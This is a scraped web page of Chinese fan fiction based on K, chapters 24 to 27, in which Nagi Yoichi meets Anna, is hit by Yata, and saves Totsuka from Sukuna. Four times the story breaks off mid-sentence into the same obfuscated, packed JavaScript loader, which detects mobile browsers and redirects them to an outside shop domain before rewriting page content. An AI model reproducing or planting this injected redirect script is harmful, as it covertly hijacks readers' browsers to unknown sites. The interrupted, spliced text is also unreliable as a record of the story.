每一分钱都很纯粹,实打实的人头换的。当然,这一句他没说出来。 夜刀神却没有直接把卡接过去,反而严肃地道:“我们还没有正式谈过薪资和雇佣时长的问题。这张卡里有多少?薪资是按次数还是发还是?如果里面是全部的话,我不会收的。我们的雇佣关系还没有结束,我……” 凪夜一脸上浮现一丝错愕。 他没想到自己随手捡回来的保镖竟然是个老妈子属性,当即做出了最正确的决定——逃了。 逃出白日馆之前,想起在路上撞见十束的概率,他鬼使神差地摸了一只黑色口罩戴上。白发被他随便扎了起来,外型上做了些许改变,就这么出了门。 出门以后一时间没想好应该去哪,便漫无目的地在路上闲逛起来。 【绿】的监视者消失了,不知道是不是在翘班。很久没有过这样清闲的下午了,不知不觉,凪夜一走到一条商业街附近。 街上很多饰品店,他曾和十束在其中一家给安娜挑过礼物。 路过这家店的时候,凪夜一打算再进去看看——在距离小店十几米远的地方,他停住脚步,微微睁大了眼睛。 小店橱窗的玻璃边上,站着一个意想不到的人。 24.王剑高悬24 栉名安娜。 穿着一身醒目的漂亮洋服,孤零零地趴在橱窗边,向店内张望。 这个年纪的孩子很少一个人出现在街上,十束和草薙他们为了安全考虑,一般也不怎么让她独自出门——还跑到离吠舞罗这么远的地方。 是有人带她过来了吗?谁带的?人呢? 凪夜一的视线在周围潦草找了一圈,没找到。 由此,他终于确定了一个事实:安娜走丢了。 实际上,安娜没有走丢。 她向王和草薙请求,想要出门逛一逛,趁着镰本和八田在游戏机前热火朝天战斗的空挡,偷偷溜出来找另一个走丢的人。 感应能力只能为她标示大概的范围,并不能定位到精确的位置。 小姑娘沿着直觉一直往前走,路过某一家饰品店的时候,被橱窗柜台里一串显眼的红水晶手串吸引了目光。 她情不自禁地停下脚步,慢慢靠近橱窗,非常认真地观察它的形状。 回过神时,旁边响起一道略微冷淡的声线:“喜欢哪一条?” 安娜转过头,发现身边不知道什么时候站了一位白发少年。对方并没有在看她,视线同样定在那一串红水晶手串上,眼瞳像是凝结的冰层。 虽然对方面容被漆黑的口罩遮掩大半,但直觉提醒无误,她微微睁大了眼睛。 ……找到了。 安娜飞快地将头转回去,不知道为什么有些紧张。 “……不知道。”她撒了个小小的谎,“看不清颜色。” ——算半个谎吧。红色她是能看见的,而且她其实带了玻璃珠。 少年在她身边蹲下,摘下口罩的一角,露出干净白皙的面庞。他的脸部线条仍有些青涩,却已经让人移不开目光。 安娜注意到他在笑,是一个弧度细微、却很温和的笑。 “想看见颜色吗?”他说,“不用怕,只有一小会。” 安娜已经接受自己的眼睛了。不如说,她其实并不讨厌自己的眼睛——周围的世界都是灰白一片,同伴的颜色就更为鲜明。 就像少年刚才摘口罩时,手腕上露出的那一小片赤红纹章。 别人很容易忽略,在她眼里却比任何颜色都要醒目。 不过有的时候,她也会想要看看其他颜色。面对少年的提议,她捏紧裙边,轻轻点了一下头。随后,对方向她伸出了手掌。 “来和我击个掌吧。”他用很柔和的语调道,“击掌之前要先说,‘今天我想看见颜色’。” 啪。 短暂的击掌过后,安娜眼中的世界焕然一新。面对这个陌生世界,她显得相当紧张,不自觉向凪夜一的方向靠了几步,轻轻抓住了他的袖口。 凪夜一正要出声安慰,一点柔软的触感忽然落在了他的眼尾。 安娜用一只手轻轻捧着他的脸,认认真真地道:“绿色的眼睛……很漂亮。” 凪夜一的睫毛轻轻颤抖了一下。 他一时间不知道怎么接话,抿紧唇没有开口。安娜并没有给他缓和的机会,很快松开他的脸,将双手背到背后,一字一句慢慢地介绍自己:“我叫,栉名安娜。你叫什么名字?” “……凪夜一。” “夜一,什么时候回来?” 凪夜一愣在原地。 如果不是安娜问过他的名字,他几乎就要以为是时间回溯出了什么差错了。随后他发现,安娜的视线会偷偷瞄向他的手腕——刚刚伸手的时候,露出的印章暴露了他的身份。 少年垂眼,将左手的袖口拉上去,露出那枚完整的印章。那是吠舞罗成员的身份证明,与赤王周防尊最紧密的连接。 “安娜,”他轻声道,“这个。能帮我保密吗?” 听出了他的弦外之音,安娜睁大眼睛,很快低下头去,神色显得有些失落。 “要怎么做,夜一才愿意回来?”她轻轻捻着自己的裙边,犹豫了很久,像是下定了某种决心,抬起了头,“是因为这个挂坠吗?” “我可以告诉夜一里面有什么。” 凪夜一身边的雾气骤然闪现了一下,很快又强行消散了。 安娜用安静、清澈的眼神盯着少年胸前那只造型古怪的挂坠,斟酌了一下语言,开口道:“这里面,有一个人。白色头发,眼睛是天空一样的颜色,他……” 凪夜一猛地握住安娜的肩膀,剧烈的情绪冲刷下,他感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068010|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉胃里泛酸,浑身的力气都被抽得一干二净。安娜小小的肩膀成了他唯一的支撑,因为有她在,凪夜一才不至于跌跪下去。 心口尖锐的疼痛将他尚且平稳的理智崩碎得一干二净,凪夜一不知道自己摆出了怎样的表情——想来一定是狼狈又难看的——因为安娜好像被吓到了,不自觉地往后缩了缩。 凪夜一没有松手,眼前的视野模糊一片,泪滴大颗大颗地从他脸颊上滚落。 “他……他在……”少年的词句埋在泣音中,第一个字甚至没有发出声音,“他在……做什么?” 安娜的双手交握,紧紧贴在胸前。这是一个表达不安的姿势,但她没有再往后退,反而将身体站直了一些,坚定地支撑起凪夜一摇摇欲坠的理智。 “他正在看着你。”安娜说,“每时每刻,每分每秒。” “……什么……?” 凪夜一的神情一片空白。他被泪水润湿的碧绿眼睛里映出安娜不似作伪的真诚。而影像的缝隙之中,一条由远及近的影子正在极速放大,同样由远及近的还有八田中气十足的怒吼: “混蛋——!!你在对安娜干什么啊啊——!!!!” 他滑板的滚轮在地上都快擦出火星了,棒球棍在空气中挥得哗哗作响,眨眼间窜到凪夜一面前,照着他身体重重一击! 凪夜一毫无防备,一下被掀翻出去。 安娜一脸惊慌失措:“美咲!” 八田把棒球棍往肩膀上一搭,转头露出个爽朗的笑容:“哦,怎么了?放心吧安娜,这家伙弱得要命,我完全没……” “美咲是大笨蛋!” 安娜捶了他一下,小跑过去查看凪夜一的情况。少年从地上坐起来,一只手捂着嘴,指缝里漏出几道血痕。 他的身体快要蜷成一团了,凌乱的白发下,眉头因为不适紧紧皱着,眼睫上还挂着几滴未干的泪水,看上去狼狈虚弱又可怜。 八田心里打突,肩上的棒球棍也放了下来。 他慌慌张张地走了几步:“喂……没事吧?安、安娜,这家伙是你认识的人吗?不不好意思啦!我以为是什么奇怪的人缠着安娜……到底有没有事啊喂!随便吱个声啊!!” 25.王剑高悬25 凪夜一好半天没抬头。 他躲得很快,原本能把人直接打得骨裂的一棒只险之又险地擦着他脸过去,饶是如此威力也不可小觑。 他半边脸都麻了,嘴里蔓延着浓重的血腥味,雾气因为被他强行压制下去,正在身体里狂躁地来回窜动。 “夜一……没事吧?” 旁边传来安娜小心翼翼的询问。 凪夜一抬起头,冲着安娜安抚性地一笑。因为怕脸上的伤吓到安娜,他并没有把手放下来,因此能看见的只有他弯起的眼睛,弧度柔软又温和。 “我没事。” 眼睛一弯起来,眼角就滑下来几滴眼泪。不过这次是生理性眼泪,他自己也控制不了。 八田这一棍来得恰到好处,直接把他从浓烈到近乎窒息的情绪中打醒了。 受他的情绪影响,雾气也慢慢平息下来。凪夜一摩挲了一下胸前的挂坠,牵起口罩将脸重新遮住,站起身拍干净衣服上的灰,这才对八田道:“没事,不用担心。” 他伸出干净的那只手揉了揉安娜的头,和他们挥手告别。 八田站在原地,一脸莫名其妙。 “安娜,那家伙谁啊?”因为心虚,他的气势不是很足,问完这句自顾自地嘟囔,“奇怪的家伙。要是我走在路上忽然被人揍了,非得把对面痛扁一顿不可……” “美咲。” “啊?怎么了……” “我要告诉出云,你在路上随便打人。” “不要啊!!安娜!!!” “哈……哈……你跑的太快了……八田桑……发生什么事了?” “来得太晚了啊死胖子!!” 狱门疆被取下来攥进掌心,凪夜一双手揣在兜里,一个人往白日馆走。 他整个人显得异常安静,雾气漂浮在他身边,莫名感觉有点胆战心惊。 “喂夜一……你还好吧?” 凪夜一转头看它,湿润的眼瞳中浮现淡淡的疑惑。随着他眨眼转头的动作,脸颊上一道新划的泪痕微微反光,很快被风吹干,消失不见。 “只是一点小伤。”他道,“再过几分钟就好了,也不痛。” “我不是说这个!”雾气如临大敌,“我是说……就是,你有没有什么强烈的冲动?想干点什么不好的事情那种……或者觉得心情特别不好之类的……” 凪夜一明白过来它在说什么,视线慢慢向下,盯着自己的脚尖。 “最开始,有一点。被八田揍了以后,就没有了。” 雾气仔细观察他的表情,确定他说的是实话以后,提起的心才放下去一点。 “那你现在感觉怎么样?” “不知道。”凪夜一说,“不知道。” 雾气说:“不知道就别想了。你有没有发现,你比之前长高了?” 凪夜一停下脚步,对着路边的玻璃橱窗看了自己一眼。 “好像是。” “你身上的时间开始流动了,夜一。怎么样,看见自己长高了高兴吗?” 凪夜一说:“我原本也不是这个年龄吧。肯定还会再长的。” 他的语气如此笃定,雾气漂浮在他身边,问道:“你想起什么了吗?” “没有,猜的。” 回到白日馆后,凪夜一照常过了一段时间。某种意义上,他的日常其实非常简单,简单得有些枯燥。 要么在外头攒愿力,要么挑挑拣拣地接几单任务,要么待在房子里休息。绿王比水流沉得住气,凪夜一好像比他更沉得住气,唯一沉不住气的只有夹在两人中间的五条须久那,没日没夜地在白日馆落点的周围发狂。 “这家伙今天怎么又不出门?无聊死了!在家里这么久他身上不会长蘑菇吗?可恶!” 小小的少年屈起一条腿坐在天台边缘,臭着脸捧着游戏机打游戏,按键按得咔咔响。 “他自己是爽了,我可是要在楼顶上吹一天的风啊!流真是的,监视这种事情直接让琴坂来就好了,多方便啊。大不了多加点鸟食……” 嘀咕到这里的时候,屏幕里的游戏画面一顿,闪现“通关”的字样。 “啊,真无聊。” 五条须久那兴致缺缺地将游戏机扔到一边,盯着漫长的天际线开始放空自我。 “想让那家伙帮忙把石板弄出来,直接去问就行了嘛。答应了最好,不答应的话就抓回来用点手段强制他答应,这么简单的事干嘛一直拖来拖去的……真搞不懂流啊。” 说到这里,他的眼睛忽然一亮。 “我自己去问不就好了?要是有好结果,流肯定会夸我——开玩笑的。” 他不情不愿地叹了口气,扛着镰刀站起来活动身体,准备小小地翘一会班。 “流说不要轻举妄动,还是不要贸然行动了吧。”他一边往楼梯走,一边念叨,“大不了再等等,反正我们一直都在等。磐先生说计划需要耐心,那我也长点耐心算了……” “个鬼啊!” 五条须久那猛地折回天台边缘。 “谁知道黄金那个老头什么时候死……这家伙又不是王,也不是哪个王的氏族,肩不能提手不能扛,吠舞罗的那个菜鸟都能一棍给他打飞,搞那么小心干嘛!!” “好,决定了。我自己去问!” 说干就干,五条须久那从天台跳下来,平稳落地,提着镰刀敲响了凪夜一住处的门。 敲了半天没人应答,五条须久那尝试拧了一下门把手——咔哒一声,门开了。 门内的空间阴暗潮湿,空荡荡的,和废宅没有区别。五条须久那潦草看了一眼,感觉这完全不像住人的地方,困惑地皱起眉头:“什么鬼地方?” 他在空旷的房子内部搜寻了很久,没有找到人影,心中陡然生出一股被愚弄的愤怒。 最重要的是,自从进门以后,这个空间忽然变得玄妙起来。 五条须久那搜寻无果,憋着满心不满打算离去,却忽然发现自己找不到门了。 背后应该是卧室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14081236|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的房间门无声无息地打开,他的目标无声无息地立在门后,在这样昏暗的环境里,像一只漆黑的鬼。 “有何贵干?” 鬼说话了,声音听得五条须久那起了一身鸡皮疙瘩。他后退两步,离这个诡异的东西远一点以后,才站直身体,用一贯漫不经心又有点高高在上的语调开口:“看来你知道我是谁。那就长话短说好了——你的能力很有意思,我们的王对你很感兴趣,想要请你帮一个小忙。同意的话,现在就跟我走一趟。怎么样?” 黑暗里的人影没有说话,半晌,他的影子动了动,光与暗的交界处迈出五条须久那熟悉的身影。 暗中监视他这么久,五条须久那从没和凪夜一对上过目光——这时候乍一和那双绿瞳对上,顿时一愣。随后,他的脸上露出些许不可置信。 凪夜一看他的目光,隐隐有点失望,像是在看一件无趣的残次品。抛出去的饵料钓上来一条龇牙咧嘴的小鱼,大鱼对此视若无睹,未免让他觉得自己有点高估对手,白费了很多力气。 五条须久那轻而易举地被这道视线激怒了,咬牙道:“你那是什么眼神?!” 凪夜一却已经收回了目光。他转身走回黑暗里,声音半点波澜都没有:“你还不够格,叫你的王来跟我说话。” 五条须久那心里猛地窜起一股火气:“你这家伙——” 话还没说完,他就被一股未知的力量掀飞出去。 门内轻飘飘地飞出一句话:“还有,主人没有应答的时候,不要擅自把脚踏进门里。很没礼貌。” 这句话完以后,那门“砰”的一声,当着五条须久那的面重重关上了。 五条须久那坐在凪夜一门前的路上懵了很久。 一把怒火在他眼里越烧越旺,他攥紧武器的柄,恨不得现在就爬起来一刀把凪夜一的破房子砍了。 但御神勺紫的警示在关键时刻出现,把他为数不多的理智吊了回来。 饶是如此,五条须久那也不打算就这么算了。 “竟敢用那种眼神盯着我,目中无人的家伙……好,好极了……” 他咬牙切齿地撑着镰刀从地上站起来,用极其恐怖的表情瞪着门,只用了数秒时间在心中打定主意。 五条须久那干脆利落地扭头离开,找了个清净的地方登进JUNGLE内网,将御神勺紫负责更新的、凪夜一的资料从头翻到尾,很快提取出来几张照片。 凪夜一有时会在街上偶然碰见一些吠舞罗成员,且这些成员多多少少都能得到他一些不同寻常的优待。 比如那个能被他特意停下来关照的小姑娘,还有那个把他一棍打飞却没有承受一丁点不良后果的菜鸟。 再比如…… 四面环绕的人群中央,迷乱冰冷的霓虹灯下,单膝落地、一脸温和朝着他伸出手的青年。 终端发出“滴”的一声轻响。程序自动检索过后,一份新的资料被提到了照片侧方。 ——吠舞□□部,十束多多良。 26.王剑高悬26 十束坐在酒吧沙发上,低头拆一只礼物盒子——虽然包装平平无奇,但在青年心里,它和礼物盒子没什么区别。 他用刀片划开胶带,打开了纸箱的盖子。 里头躺着一台机器,是有一段年头的老相机。十束把它举起来查看,棕色的瞳孔里满是惊喜。 “我最近正准备去淘一台来着,”他把相机翻过来翻过去地看,“他怎么会知道?” 草薙靠在吧台边上抽烟,耷拉着眉毛叹了口气。 “这种时候应该觉得很恐怖才对吧……”他念叨,“连最近的喜好都了如指掌什么的,真的应该去好好查一下了吧?不管对方有什么目的,一直这么寄下去也不是个事啊。” 难得的,十束放下相机,对他的提议表示一点赞同。 “嗯,确实。”他微微笑道,“这样下去不行的。明天请一天假,好好地去找人吧。” 草薙弹烟灰的动作一顿,有点意外,“你知道是谁了?” 十束说:“差不多。不过,要等见了才知道。” 他将相机放回盒子里,转头放到了他在草薙酒吧里专属的置物间——有时草薙会开玩笑叫杂物间——随后收拾好终端,推开了酒吧的门。 透凉的夜风吹进来,拂动青年亚麻色的软发。十束向酒吧里的人挥手告别,一脚踩进夜色里,朝着自己的住处走去。 入夜以后街上往往没什么人,十束将双手揣在兜里,安静地往前走。 忽然,他若有所感地转过头,发现自己身后不知道什么时候跟了个人。 很矮的个子,漆黑的兜帽,脸藏在兜帽底下,看不清楚。 很快,十束听见了他的声音——稚嫩的声线,含着些许阴恻恻的恶意:“嘛,自认倒霉吧。谁叫那家伙在乎你呢?” 十束眨了一下眼睛,意识到自己碰上事儿了。他口袋里的手已经碰上了应急拨号键,正要按下去的时候,后颈忽然一痛,身体无力地栽倒下去。 五条须久那将兜帽掀开,冷哼了一声,居高临下地俯视这个被他一招放倒的青年。 “放心吧,我不会对你怎么样的。好歹也是个氏族成员,明天我会好好地把你丢回去的。” 十束蜷缩在地面上,好像已经失去了意识。 五条须久那正要伸手,不知道从哪飘来的雾气忽然钳住了他的手脚。他顿时一个激灵,意识到自己想钓出来的家伙提前咬钩了,眼中闪烁兴奋的光泽。 他转了转手里的镰刀,长柄雾气在空气中甩出令人发怵的风声。身后的空气似乎发生了一点变化,五条须久那“哈”了一声,猛地向背后一击! 他的攻击落了个空。反而自己被重重地踹了一脚,视野天旋地转,倒飞出去。 他在空气中稳住身形,借助墙面抵消势头,平稳落地。落地以后的第一件事,是抬头发出怒气冲冲的质问:“你敢踹我?!” 凪夜一半蹲在十束身边,闻言抬起头,眼神冷得像冰。 “怎么不能?”他说,“夜刀神,架住他。” 侧方飞来一柄闪烁着寒光的太刀,两柄武器相接发出巨大的“铿”声,夜刀神狗朗猛地架住五条须久那的镰刀,劈头盖脸一通训斥:“你拿着你的王的力量在干什么?大街上绑架人,无耻的勾当!” 五条须久那:“哈??你谁啊??” 他轻而易举地被激起怒气,决定先解决掉面前这个碍眼的家伙。 凪夜一蹲跪在十束身边,抿紧唇,检查青年的身体状况。他的肋骨下方有些不适,位置和他刚刚踹五条须久那的地方一模一样。规则将他加诸于别人身上的伤痛加倍还回,但碍于失去痛觉,只剩下麻木的钝感,很快被少年忽略掉。 动手的结果就是这样,别人断了一根肋骨,他会断两根。但仅限于动手——要是杀了人,惩罚就是另外一回事了。 十束倒在地上,安静得有些不详。虽然知道五条须久那碍于立场不会真的对十束下重手,但凪夜一的状态还是有些不稳定,他偶尔会幻视十束身下流出一滩猩红的血,再眨眼地面却又变回了原样。他的心跳变得急促,原本平稳的双手开始发抖。 这些异状直到感知到十束心跳时才慢慢停住,确认青年只是暂时昏迷过去,凪夜一凝滞的呼吸开始流动,冷绿的眼球转动,倒映不远处激烈的战况。 至此,他心中缠绕的不祥预感才开始消散。 从【绿】那边钓出个傻子固然令人失望,这个傻子的行动却不能忽略。绿之王想要评定他的价值、想要追求一次合作,出于考量不会对他动手,但不代表五条须久那不会。 这是个被傲慢盘踞头脑、眼高于顶又固执无比的臭小鬼,被否定以后不会偃旗息鼓,而是会更加想方设法达成目的。王对他的行动了如指掌,却放任自流。 无色毫无疑问站在恶的一方,原本绿在十束之死中扮演的定位模糊,凪夜一缺少判断他立场的关键。但在今晚,他心中渐渐有了定论。 夜刀神狗朗的实力逊于五条须久那,很快落于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093106|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下风。 凪夜一找到机会,朝着五条须久那的方向张开手掌——浓郁的雾气在他的手掌边缘涌动,代表白日馆实体的白色光带藏在其中,沿着奇异的轨迹飞掠出去。 这些光带碰到五条须久那以后,会生成一个束缚空间,将目标拽回白日馆内。 很明显,凪夜一不打算把人放回去了。 五条须久那似乎也有不好的预感,一镰刀挥开夜刀神狗朗,再俯身躲开疾驰而来的雾气,提着武器朝凪夜一的方向疾驰,镰刃上爬满绿光。 这家伙的异能诡异,中招了一定会吃点苦头。要想不中招,就直接把源头干掉! 五条须久那杀上了头,御神勺紫的话直接被他丢到了脑后。 夜刀神急声提醒:“凪!躲开!” “哈哈……”五条须久那狂笑,“躲得开就试试啊!菜鸟!” 携着凛凛寒光的镰刃近在眼前,凪夜一不躲不避,背光的眼睛像两只死绿的黑洞。他不仅不躲,反而朝着五条须久那的方向举起手。 按照预想,这只手应该被直接削断。可千钧一发之时,不知从哪来的一道力气猛地拉了他一下,少年整个人从镰刃的轨迹上错开,摔进一个有些细弱、并不宽敞的怀抱。 他举起的手被拉出一条血淋淋的豁口,手掌却没有断。 狂躁的雾气猛地从少年体内迸溅出来,眨眼间凝成狰狞扭曲的雾刃,以秒为单位欺近五条须久那的身体,于他眼中拉出杀气腾腾的尾迹。 时间仿若凝滞,一个念头从五条须久那脑中浮现: 要死了。被这些东西碰到的话,一定会死得很惨的—— 极致的绝望之下,五条须久那僵滞一瞬,紧接着,求生的本能夺过身体控制权。他毫不犹豫地将镰刀丢开,找准方向预备逃命。 御神勺紫不知道什么时候出现在身后,总是漫不经心的语调变得严肃,如同一颗救命稻草:“须久那,抓住我!” 侧方递过来太刀的刀鞘。五条须久那立刻抓住,在迎面飞来的雾刃将他们绞成肉泥之前,平坂道反的手伸出,将他们拽回地下。 激烈的博斗声骤然消失,夜路上重归平静。夜刀神狗朗已经循着力量的痕迹追了出去,凪夜一一动不动地躺着,两条手臂还过他的胸前,组成一个轻柔的怀抱。 十束的声音从背后响起,有点虚弱,却远不像刚刚醒过来的样子。 “总感觉你会来,预感成真了啊。”他弯着眼睛轻轻笑道,“谢谢你救了我。” 27.王剑高悬27 十束将这个只有过几面之缘的少年带回了自己的公寓。 因为是一个人住,公寓的面积不大,摆设带有个人风格浓厚的凌乱但整体看起来仍然十分温馨。 进了门以后,他让少年随便找个地方坐下,自己则去房间里提了个应急药箱出来,坐在了他的对面。 “凪君……是吗?”十束的声音温温的,“把手伸出来吧。” 白发少年伸出了手。他纤白细弱的手掌上横亘一道巨大的划痕,十束走之前为他做过应急处理,现在血迹已经凝固了,看起来仍然触目惊心。 十束看了看,用酒精和棉签将他伤口边缘的血一点点清理干净。 期间,他一直仔细观察着少年的反应,留意他是否忍得住疼痛;但出乎意料的是,对方脸上完全没什么波动,就像感觉不到疼一样,眼瞳浸在暖黄的灯影里,透出点奇异的漠然。 似乎每一次见面,他都是这个表情。 除了第一次。十束想。 他第一次和这个名为凪夜一的少年见面,是在吠舞罗酒吧外。 那时凪夜一站在酒吧外头,贴着门透过厚厚的玻璃往里面瞧。十束被草薙提醒,走出门查看情况,见到的只有一个匆忙离去的背影。 因为害怕他跑得太快在路面上滑倒,十束提醒了他一声——凪夜一不知怎么的慢下脚步,回头看了他一眼。 那时少年的表情,十束找不到合适的词语来形容,只觉得心脏仿佛被一根小刺扎了一下。很快,对方重新转过头,消失在他的视野里。 很少,十束的一生中很少有这样的时刻。仿佛天然应该为了什么事情、什么人行动,上一个是周防尊,现在又加了一个凪夜一。 王很让人操心,面前这位的程度也不遑多让。 “明天带你去医院好好处理一下。”十束说,“今天就先这样,好吗?” 听出来对方有留人的意思,凪夜一有点愕然地抬眼。 诚然,他跟着十束进了这间公寓,是有点想看看上一次被死亡阻隔没能去成的地方,但并不打算在这里多待。 甚至于,他也没打算在十束身边多待。 自己身上牵扯着很多事情,十束靠近他一定没有好结局——就像今晚这样。 他没有战斗能力,一旦被波及,后果几乎就只有一条。 “谢谢,不用了。”他垂下眼帘,语气平静地拒绝,“我得走了。” 十束一直很尊重别人的想法,不做强迫人的事。只要自己表达了不愿意,他多半就会…… “去哪?”十束说,“这个伤口一定会被你放着不管吧。下次寄给我的礼物盒子上会沾着血吗?” 凪夜一移开了目光。 他的反应让十束发觉自己的语气有点重,对一个没见过几次面还救过自己的少年用这样说教的语气,显然有点过分了。青年顿了顿,没再开口,动作细致地用绷带一圈一圈地将凪夜一的伤口缠起来。 他们没见过几次面,却远不像遥遥相对的陌生人。 十束心中似乎天然存有一份对少年的关系,而凪夜一并不是会忍气吞声的类型,面对青年却总是低头让步,不愿抬头直视他的眼睛。 很快,少年的伤口处理完毕。凪夜一的手动了动,很快僵住了,因为十束没有松手。 青年就这么攥着他的手,问出一个至关重要的问题:“我们之前……是不是认识?” 凪夜一说:“不认识。” 他静静垂着眼睛,语气听起来没什么波澜。 少年的心情总像是被封在一只漆黑的小球里,无端显得阴霾,叫人看不真切,也从不外显。恰如现在,许多情绪在小球内冲来撞去,外表却仍显得风平浪静。 十束却仿佛拥有看透人心的本事,一眼从迷雾中找到了真正的答案。 “我们认识。”他笃定道,“只是我的记忆出了某些问题,对吗?” 凪夜一是真的有点后悔了,后悔跟着十束走进来。来自十束的、熟悉的暖意缠绕上来,他的灵魂叫嚣着恐惧,恨不得现在就落荒而逃,青年攥着他手腕的手却像是一只柔软的铁箍,将少年的身体不留情面地钉在原地。 他还想再挣扎一下,十束却已经将他的袖子挽了上去,意义独特的印章暴露无遗。 “那天晚上不小心看见的。”十束轻声说,“回去之后,我一直在想这个,打算找机会再见你一面。” 凪夜一低垂着头,白发垂下,遮住眼睛。 “找我……做什么?” 十束用柔和的、郑重的语气说道:“带你回家。” 凪夜一的手指微微蜷起,代表着无声的拒绝。 这个夜晚的谈话不了了之,凪夜一在凌晨时分走出了这间公寓。他的手指握着门把手,铁制物被冬天的冷风刮得沁凉,少年摩挲了一下这个温度,忽然听到身后重物倒地的声音。 凪夜一瞳孔一缩。 从转头到跑到十束身边只花费了两秒不到,青年蜷缩在地毯上,双目紧闭。凪夜一拨开他凌乱的领口,在后颈找到一道刺目的淤痕。 那是五条须久那的镰刀打出来的,那柄武器现在已经被他削成一堆烂铁了。但就算这样,十束身上的伤也不会消失。 凪夜一略显焦躁地摩挲十束的衣领,心中久违地浮现踌躇与茫然。 十束很弱,真的很弱,某种意义上,身体素质和他差不多。 但他能自愈,有一张绝杀的底牌,十束没有。青年拥有的只是无法进行攻击的微弱火焰,面对突发情况的应对手段几乎为零。 枪械能应对普通人,那那些怀抱杀意的异能人士呢? 自己在远处看着,真的能合理杜绝一切不好的事态发生吗? 凪夜一把十束搬回床上,后半夜的时候,十束开始发烧。 少年下楼买了退烧散淤的药物,一声不吭地守在十束身边。天蒙蒙亮的时候,青年的终端响了。 来电人显示“草薙哥”,凪夜一看了一眼,选择放置。 铃声响了一分钟,停了,屏幕暗下去。随后,草薙锲而不舍地打了第二个、第三个电话,打到第四个的时候,凪夜一把终端拿过来,按下了接通键。 酒吧老板的关西腔从终端里冒出来:“怎么这么久才接?你还没睡醒吗?已经七点了,快起床啦。” 室内很安静,凪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105205|147751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜一沉默以对。 草薙没发现什么不对,继续在电话里唠叨:“你自己说今天要去找人,既然如此就早点起来准备啊。今天上午没什么事,我开车陪你一起去,洗漱好了就下来吧,我现在就在你家楼下。” 异常的沉默持续了很久。草薙叼着烟的动作一顿:“……十束?” 终端里这才传来一个陌生的声音。 “他发烧了。”那声音说道,“还没降下去。” 半分钟后,草薙出现在十束家门口,和门内陌生的白发少年面面相觑。 好在这情况没有持续多久,草薙很快想起了面前这人是谁,轻轻呼出一口气,道:“是你啊。辛苦了,十束现在情况怎么样?” 他一边说一边换鞋,表情自然地往里面走。这份信任来得莫名其妙,凪夜一也跟在他后面,问道:“他原本是要去找谁?” 草薙回过头,镜片后的双眼让人看不真切。青年似乎笑了一下,回过头给了个模棱两可的回答:“可能找到了。” 两人一路走进十束的卧室,草薙伸手探了探十束的额头,一脸出乎意料的表情。他注意到十束的脖子上贴了个药贴,正想查看一下情况,凪夜一忽然伸出手,按住了他的手腕。 酒吧老板的表情一顿。片刻后,他顺着少年的意思收回了手,状似苦恼地感叹道:“不得了啊,这家伙好久没生过病了。不过看样子状况已经平稳了,估计很快就能退烧。我晚点还有事,十束就拜托你照顾了。” “……”凪夜一表情僵硬地道,“我们才认识没多久。” 草薙看了看他,竟然安慰道:“没关系,这家伙脾气很好的。你在这随便怎么倒腾,他都不会生气。” 重点在这里吗? 凪夜一:“我……” 草薙却已经站起来,手掌放在少年头顶薅了一把。做完这个举动,他自己也好像有有点发愣,停顿了一秒才把手收了回去。 “总之就交给你了,回见。”他推了一下眼镜,唇角的笑弧很随意,“有空可以来吠舞罗玩,当然,除了晚上营业的时候。” 草薙出云就这么走了,留下凪夜一和昏睡不醒的十束在房间里。 凪夜一垂着眼睛兀自思考事情,却听见窗外“笃、笃”几下敲击声,抬眼一看,夜刀神狗朗吊在窗户外头,手指屈起,做出敲门的姿势。 他一晚上没睡,梳得一丝不苟的长发有点乱,显得风尘仆仆。 凪夜一起身拉开窗户,示意他在窗台上落脚,夜刀神狗朗于是在窗台上蹲下来,看了看房间内的情况,压低声音道:“追丢了。对方能穿墙,这座城市里,到处都是他的路。不过,他们主要在地下活动。” 凪夜一看见他眼中暗藏的疲倦,道:“我知道了。辛苦你了,接下来几天给你放假,去休息吧。” 夜刀神狗朗点了一下头。他迟疑片刻,问道:“那你呢?” 凪夜一说:“我会在这里留几天。” 